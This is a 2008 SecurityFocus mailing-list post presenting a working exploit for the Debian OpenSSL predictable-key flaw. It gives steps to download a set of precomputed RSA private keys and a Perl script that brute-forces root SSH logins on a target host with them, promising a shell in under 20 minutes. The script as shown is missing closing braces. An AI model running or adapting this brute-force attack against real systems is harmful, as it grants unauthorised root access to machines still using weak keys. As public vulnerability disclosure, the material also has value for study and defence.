Debian generated SSH-Keys working exploit May 15 2008 05:54AM
mm deadbeef de
Hi Securityfocus,

the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key.

This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to.

On an unpatched system, which doesn't need to be debian, do the following:

1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break)

4. Run the perl script and give it the location to where you extracted the bzip2 mentioned.


my $keysPerConnect = 6;

unless ($ARGV[1]) {

print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";

print "Example: ./exploiter.pl /root/keys/\n";

print "By mm (at) deadbeef (dot) de [email concealed]\n";

exit 0;



opendir(A, $ARGV[0]) || die("opendir");

while ($_ = readdir(A)) {


next unless m,^\d+$,;

push(@a, $_);

if (scalar(@a) > $keysPerConnect) {

system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);

@a = ();



5. Enjoy the shell after some minutes (less than 20 minutes)


Markus Mueller

mm (at) deadbeef (dot) de [email concealed]

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus